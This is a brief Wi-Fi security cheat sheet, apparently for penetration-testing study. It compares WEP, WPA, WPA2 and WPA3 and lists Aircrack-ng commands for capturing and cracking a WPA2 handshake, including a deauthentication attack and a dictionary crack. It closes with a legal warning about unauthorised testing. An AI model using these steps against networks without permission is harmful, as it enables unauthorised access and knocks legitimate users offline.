Wi-Fi Security Protocols
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Protocol |
Encryption |
Vulnerability |
Status |
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WEP |
RC4 (40-bit) |
Easily cracked in minutes |
Obsolete — Never use |
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WPA |
TKIP |
Dictionary attacks possible |
Deprecated |
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WPA2 |
AES-CCMP |
Handshake capture + crack |
Current Standard |
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WPA3 |
SAE |
Resistant to dictionary attacks |
Recommended |
Aircrack-ng Suite — WPA2 Attack Steps
- Put wireless adapter in monitor mode: airmon-ng start wlan0
- Scan for networks: airodump-ng wlan0mon
- Capture handshake: airodump-ng -c <ch> –bssid <AP_MAC> -w capture wlan0mon
- Deauthenticate a client to force reconnect: aireplay-ng –deauth 10 -a <AP> wlan0mon
- Crack the handshake: aircrack-ng -w rockyou.txt capture.cap
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⚠️ Legal Warning: Only perform wireless attacks on networks you own or have explicit written permission to test. Attacking neighbors’ Wi-Fi is illegal under Section 66 of the IT Act and carries serious penalties. |